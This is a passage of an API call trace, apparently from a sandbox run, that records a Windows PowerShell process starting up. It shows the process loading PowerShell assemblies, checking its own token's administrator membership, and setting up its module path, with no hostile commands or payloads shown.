lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0023.284] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.284] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.284] CoTaskMemFree (pv=0x25af80) [0023.285] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.285] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.285] CoTaskMemFree (pv=0x25af80) [0023.308] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.308] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.308] CoTaskMemFree (pv=0x25af80) [0023.309] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.309] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.309] CoTaskMemFree (pv=0x25af80) [0023.309] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.310] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.310] CoTaskMemFree (pv=0x25af80) [0023.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0023.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0023.405] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.405] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.405] CoTaskMemFree (pv=0x25af80) [0023.408] CoTaskMemAlloc (cb=0x104) returned 0x25af80 [0023.408] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25af80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.408] CoTaskMemFree (pv=0x25af80) [0023.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0023.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0023.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.802] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0023.802] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0023.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0023.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0023.902] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0023.902] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0023.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0xcd380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0023.940] SetErrorMode (uMode=0x1) returned 0x1 [0023.940] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0xcd600 | out: lpFileInformation=0xcd600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0023.940] SetErrorMode (uMode=0x1) returned 0x1 [0024.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.066] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.066] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.066] CoTaskMemFree (pv=0x25b1a0) [0024.068] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.068] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.068] CoTaskMemFree (pv=0x25b1a0) [0024.069] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.069] CoTaskMemFree (pv=0x25b1a0) [0024.071] CoCreateGuid (in: pguid=0xcd9c8 | out: pguid=0xcd9c8*(Data1=0xae701ca8, Data2=0xb5a7, Data3=0x4d34, Data4=([0]=0xbe, [1]=0xa1, [2]=0x81, [3]=0x6d, [4]=0x95, [5]=0x74, [6]=0x12, [7]=0x20))) returned 0x0 [0024.075] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.075] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.075] CoTaskMemFree (pv=0x25b1a0) [0024.076] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.077] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.077] CoTaskMemFree (pv=0x25b1a0) [0024.078] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.078] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.078] CoTaskMemFree (pv=0x25b1a0) [0024.082] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0024.084] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0xcd670 | out: lpConsoleScreenBufferInfo=0xcd670) returned 1 [0024.087] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0024.088] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0xcd670 | out: lpConsoleScreenBufferInfo=0xcd670) returned 1 [0024.088] GetVersionExW (in: lpVersionInformation=0xcd600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xcd600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.090] GetCurrentProcess () returned 0xffffffffffffffff [0024.090] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0xcd698 | out: TokenHandle=0xcd698*=0x320) returned 1 [0024.093] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xcd5b8 | out: TokenInformation=0x0, ReturnLength=0xcd5b8) returned 0 [0024.093] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2668f0 [0024.094] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x2668f0, TokenInformationLength=0x4, ReturnLength=0xcd5b8 | out: TokenInformation=0x2668f0, ReturnLength=0xcd5b8) returned 1 [0024.094] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0xcd718 | out: phNewToken=0xcd718*=0x31c) returned 1 [0024.095] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xcd5b8 | out: TokenInformation=0x0, ReturnLength=0xcd5b8) returned 0 [0024.095] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x266a40 [0024.095] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x266a40, TokenInformationLength=0x4, ReturnLength=0xcd5b8 | out: TokenInformation=0x266a40, ReturnLength=0xcd5b8) returned 1 [0024.095] CheckTokenMembership (in: TokenHandle=0x31c, SidToCheck=0x2c97d68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xcd728 | out: IsMember=0xcd728) returned 1 [0024.095] CloseHandle (hObject=0x31c) returned 1 [0024.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xcd140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0024.138] CoCreateGuid (in: pguid=0xcd810 | out: pguid=0xcd810*(Data1=0xdd4357f6, Data2=0x2307, Data3=0x497a, Data4=([0]=0xbe, [1]=0x71, [2]=0x49, [3]=0xf0, [4]=0x7, [5]=0x0, [6]=0x91, [7]=0x19))) returned 0x0 [0024.140] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.140] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.151] WinSqmIsOptedIn () returned 0x0 [0024.151] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.151] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.153] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.153] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.154] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.155] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.158] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.158] CoTaskMemFree (pv=0x25b1a0) [0024.159] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.159] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.159] CoTaskMemFree (pv=0x25b1a0) [0024.160] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.160] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.160] CoTaskMemFree (pv=0x25b1a0) [0024.162] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.162] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.162] CoTaskMemFree (pv=0x25b1a0) [0024.168] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.168] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.168] CoTaskMemFree (pv=0x25b1a0) [0024.170] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.170] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.170] CoTaskMemFree (pv=0x25b1a0) [0024.170] CoTaskMemFree (pv=0x25b1a0) [0024.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xccc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xccbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xccbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.305] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xccbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.338] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.338] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0024.340] CoTaskMemAlloc (cb=0xcc) returned 0x311a80 [0024.340] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x311a80, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0024.341] CoTaskMemFree (pv=0x311a80) [0024.341] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd388 | out: phkResult=0xcd388*=0x324) returned 0x0 [0024.341] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xcd30c, lpData=0x0, lpcbData=0xcd308*=0x0 | out: lpType=0xcd30c*=0x2, lpData=0x0, lpcbData=0xcd308*=0x6c) returned 0x0 [0024.341] CoTaskMemAlloc (cb=0x70) returned 0x2a26a0 [0024.341] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xcd2dc, lpData=0x2a26a0, lpcbData=0xcd2d8*=0x6c | out: lpType=0xcd2dc*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0xcd2d8*=0x6c) returned 0x0 [0024.341] CoTaskMemFree (pv=0x2a26a0) [0024.341] CoTaskMemAlloc (cb=0xcc) returned 0x311a80 [0024.341] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x311a80, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0024.341] CoTaskMemFree (pv=0x311a80) [0024.341] CoTaskMemAlloc (cb=0xcc) returned 0x311a80 [0024.341] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x311a80, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0024.341] CoTaskMemFree (pv=0x311a80) [0024.343] RegCloseKey (hKey=0x324) returned 0x0 [0024.343] CoTaskMemAlloc (cb=0xcc) returned 0x311a80 [0024.344] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x311a80, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0024.344] CoTaskMemFree (pv=0x311a80) [0024.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd388 | out: phkResult=0xcd388*=0x324) returned 0x0 [0024.344] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xcd30c, lpData=0x0, lpcbData=0xcd308*=0x0 | out: lpType=0xcd30c*=0x0, lpData=0x0, lpcbData=0xcd308*=0x0) returned 0x2 [0024.344] RegCloseKey (hKey=0x324) returned 0x0 [0024.381] CoTaskMemAlloc (cb=0x20c) returned 0x300130 [0024.381] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x300130 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0024.382] CoTaskMemFree (pv=0x300130) [0024.382] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xccf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0024.382] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0024.387] CoTaskMemFree (pv=0x25b1a0) [0024.388] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.388] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.388] CoTaskMemFree (pv=0x25b1a0) [0024.392] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.392] GetEnvironmentVariableW (in: lpName="MshEnableTrace", 